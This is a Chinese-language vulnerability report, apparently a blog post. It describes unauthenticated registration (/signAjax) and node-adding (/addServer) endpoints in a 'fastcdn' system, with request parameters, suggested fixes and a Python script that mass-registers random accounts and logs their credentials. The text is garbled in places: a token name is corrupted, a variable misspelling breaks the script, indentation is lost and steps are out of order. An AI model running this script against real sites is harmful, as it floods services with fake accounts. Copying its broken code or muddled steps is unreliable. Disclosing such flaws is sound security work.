fastcdn系统昨日上线发现两个未经身份验证接口

第一个:注册接口

  • 本文主题: 注册账号接口缺乏身份验证机制导致未经授权访问,任意客户端可发起POST请求
  • 问题描述: 在注册接口中发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户注册新账户,从而导致未经授权的访问和潜在的安全问题。
  • 复现步骤:

    经测试,__RequestVerifiC++ationToken无需传值,直接传参 user password 即可存储用户数据

    • __RequestVerificationToken: 貌似是用于身份验证,但该功能并未生效

    • user: 用户名

    • password: 密码

    • rememberMe: true

    • 使用任意 HTTP 客户端向注册接口发送 POST 请求,

    • URL事件:/signAjax

    • 在请求中包含以下数据:

  • 影响范围:
    此漏洞可能影响所有尝试注册新账户的用户,以及系统可能面临的安全风险。
  • 解决方案:
    强烈建议在注册接口中实施适当的身份验证机制,例如验证码进行人机身份验证,以防止未经授权的访问!

第二个:添加节点

  • 本文主题: 添加节点接口缺乏身份验证机制导致未经授权访问,任意客户端可发起POST请求
  • 问题描述: 在添加节点接口发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户进行添加节点,从而导致未经授权的访问和潜在的安全问题。
    复现步骤:

    经测试,直接传参 user password 即可存储添加节点

    • ip: 随机生成ip

    • name: 用户名

    • key: 秘钥

    • status: on

    • 使用任意 HTTP 客户端向注册接口发送 POST 请求,

    • URL事件:/addServer

    • 在请求中包含以下数据:

  • 影响范围:
    此漏洞可能影响系统被恶意刷数据,以及系统可能面临的安全风险。
  • 解决方案:
    强烈建议在添加节点接口中实施适当的身份验证机制,例如Oauth,以防止未经授权的访问!

 

第一个刷注册的Python脚本例子(严禁违法用途,仅供测试):

import requests    
import random    
import json    
import string    
# 你的fastcdn地址    
url = "http://127.0.0.1:5380/signAjax"    
# 配置循环次数和运行总次数    
loop_count = 10    
total_runs = 100    
# 随机生成用户和密码    
def generate_random_string(length=8):    
letters_and_diGits = string.ascii_letters + string.digits    
return ''.join(random.choice(letters_and_digits) for i in range(length))    
# 发送请求    
def send_request():    
# 随机生成用户和密码    
user = generate_random_string()    
password = generate_random_string()    
# 请求参数    
payload = {    
"__RequestVerificationToken": "",    
"user": user,    
"password": password,    
"rememberMe": "true"    
}    
# 发送POST请求    
response = requests.post(url, data=payload)    
# 处理响应    
if response.status_code == 200:    
data = response.json()    
if data["code"] == 1:    
write_to_file("success", user, password)    
else:    
write_to_file("error", user, password)    
else:    
write_to_file("error", user, password)    
# 写入到文件    
def write_to_file(result, user, password):    
with open(f"{result}.txt", "a") as file:    
file.write(f"User: {user}, Password: {password}\n")    
# 执行循环    
for i in range(total_runs):    
send_request()    
if (i + 1) % loop_count == 0:    
print(f"已循环 {i + 1} 次")    
print("循环结束")